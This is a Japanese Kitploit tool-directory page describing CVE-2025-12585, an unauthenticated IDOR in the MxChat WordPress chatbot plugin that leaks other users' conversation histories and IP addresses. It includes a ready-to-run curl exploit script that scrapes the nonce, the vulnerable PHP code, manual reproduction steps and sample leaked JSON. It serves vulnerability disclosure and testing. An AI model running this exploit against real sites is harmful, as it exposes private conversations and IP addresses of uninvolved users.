Skip to content
KitploitKITPLOIT
ツールブログ
提出
ツールブログ
提出

ハッキング、侵入テスト、サイバーセキュリティツールをあなたのセキュリティアーセナルに!

Kitploitはハッキング、サイバーセキュリティ、ペネトレーションテストのツールディレクトリです。最新のプロジェクトアップデートを見つけて、脆弱性の発見、システム分析、テストの自動化、セキュリティの強化を行いましょう。

··フィード·お問い合わせ·プライバシー·© 2026 Kitploit

ツールディレクトリ

カテゴリ

すべてのカテゴリを見る
Loading categories
CVE-2025-12585 — MxChat – WordPress用AIチャットボット <= 2.5.1 - 未認証の情報漏えい | Kitploit
ツール/GitHubGitHub/d0n601/cve-2025-12585
脆弱性分析ウェブアプリケーション悪用データ流出情報収集
GitHubd0n601/cve-2025-12585

CVE-2025-12585

MxChat – WordPress用AIチャットボット <= 2.5.1 - 未認証の情報漏えい

リポジトリを見る
510ヶ月前未レビュー

人気

すべて見る →

コミュニティで最も使われているツールを見つけましょう。

すべてのツールを探索

ツールコレクションを閲覧

すべてのツールを見る →
共有

MxChat Basic <= 2.5.1 - MxChat – AI Chatbot for WordPress <= 2.5.1 - 未認証の情報露出

MxChat Basic プラグインは、mxchat_fetch_conversation_history AJAX エンドポイントにおいてセッションの所有権を検証しないため、未認証ユーザーが Insecure Direct Object Reference (IDOR) の脆弱性を通じて、他のユーザーの会話履歴や IP アドレスにアクセスできるようになります。

TL;DR エクスプロイト

root@kitploit:~
TARGET_SITE="http://example.com"
SESSION_ID="mxchat_chat_7jxi3jsdb"
NONCE=$(curl -s $TARGET_SITE | grep -oP 'nonce["\047]:\s*["\047]\K[^"\047]+' | head -1)
curl -X POST $TARGET_SITE/wp-admin/admin-ajax.php \
  -d "action=mxchat_fetch_conversation_history" \
  -d "session_id=$SESSION_ID" \
  -d "nonce=$NONCE" \
  -H "Content-Type: application/x-www-form-urlencoded" \
  -H "X-Requested-With: XMLHttpRequest" | jq

詳細

/includes/class-mxchat-integrator.php ファイル内の 関数は、クライアントから提供された のみに基づいて会話データを取得し、リクエスト元がそのセッションを所有しているかを検証しません。これにより、有効な nonce(フロントエンドの JavaScript を介して入手可能)を持つ任意の未認証ユーザーが、他のユーザーのプライベートな会話データにアクセスできます。さらに、会話履歴には フィールドに保存されたユーザーの IP アドレスが含まれており、会話データとともに開示されます。

mxchat_fetch_conversation_history()
session_id
agent_name

IP アドレスの開示は、メッセージ保存プロセスで発生します:

場所: class-mxchat-integrator.php

root@kitploit:~
361    // 4) Determine user_identifier
362    $user_identifier = $agent_name
363        ? $agent_name
364        : MxChat_User::mxchat_get_user_identifier();

ここで MxChat_User::mxchat_get_user_identifier() は、未認証ユーザーの場合にユーザーの IP アドレスを返します:

root@kitploit:~
9    public static function mxchat_get_user_identifier() {
10        if (is_user_logged_in()) {
11            $current_user = wp_get_current_user();
12            return $current_user->user_login;
13        } else {
14            return sanitize_text_field($_SERVER['REMOTE_ADDR']); // IP address disclosed
15        }
16    }

この IP アドレスは agent_name として会話履歴に保存され、会話データの取得時に公開されます。

ファイルアップロードにおけるセッション ID の開示

セッション ID はアップロードされたファイル名に直接埋め込まれます。ユーザーがチャットインターフェースを通じて PDF または Word 文書をアップロードすると、ファイルは予測可能な命名パターンで保存されます:mxchat_{session_id}_{timestamp}.pdf と mxchat_word_{session_id}_{timestamp}.docx。これにより、セッション ID はさまざまな攻撃ベクトルを通じて発見可能になります:アップロードディレクトリでサーバーのインデックスが有効な場合のディレクトリリスティング、WordPress メディアライブラリへのアクセス、検索エンジンによるインデックス化の可能性など。

脆弱なスニペット(class-mxchat-integrator.php より):

root@kitploit:~
107 function mxchat_fetch_conversation_history() {
108     if (empty($_POST['session_id'])) {
109         wp_send_json_error(['message' => esc_html__('Session ID missing.', 'mxchat')]);
110         wp_die();
111     }
112 
113     $session_id = sanitize_text_field($_POST['session_id']);
114     $history = get_option("mxchat_history_{$session_id}", []); // Direct access without ownership check
115     $chat_mode = get_option("mxchat_mode_{$session_id}", 'ai');
116 
117     if (empty($history)) {
118         wp_send_json_success([
119             'conversation' => [],
120             'chat_mode' => $chat_mode
121         ]);
122         wp_die();
123     }
124 
125     wp_send_json_success([
126         'conversation' => $history,
127         'chat_mode' => $chat_mode
128     ]);
129     wp_die();
130 }

手動での再現手順

  1. 対象の WordPress サイトの任意のページに移動し、ページソースから mxchat_chat_nonce を抽出します。この nonce はフロントエンドの JavaScript で mxchatChat.nonce として公開されており、すべての訪問者が利用できます。

  2. セッション ID(形式:mxchat_chat_{9桁の英数字})を特定します。セッション ID は、ディレクトリリスティングまたはメディアライブラリへのアクセスが有効な場合はアップロードされたファイル名から発見でき、または連続パターンや一般的な値をテストして列挙できます。

  3. 次の curl コマンドを実行して、任意のセッションから会話履歴を取得します:

root@kitploit:~
curl -X POST http://example.com/wp-admin/admin-ajax.php \
  -d "action=mxchat_fetch_conversation_history" \
  -d "session_id=mxchat_chat_7jxi3jsdb" \
  -d "nonce=YOUR_NONCE_HERE" \
  -H "Content-Type: application/x-www-form-urlencoded" \
  -H "X-Requested-With: XMLHttpRequest"
  1. すべてのユーザーメッセージ、ボットの応答、タイムスタンプ、ユーザーの IP アドレス、セッションメタデータを含む完全な会話履歴を含む JSON 応答を受け取ります:
root@kitploit:~
{
  "success": true,
  "data": {
    "conversation": [
      {
        "id": "6903e8a1e195e",
        "role": "user",
        "content": "I'm wondering if you can tell me about what website I am on?",
        "timestamp": 1761863841925,
        "agent_name": "IP.REDACTED"
      },
      {
        "id": "6903e8a33c86a",
        "role": "user",
        "content": "I'm wondering if you can tell me about what website I am on?",
        "timestamp": 1761863843248,
        "agent_name": "IP.REDACTED"
      }
    ],
    "chat_mode": "ai"
  }
}

agent_name フィールドには、未認証ユーザーの場合にユーザーの IP アドレス($_SERVER['REMOTE_ADDR'])が含まれており、会話データとともに開示されます。

ツールをダウンロード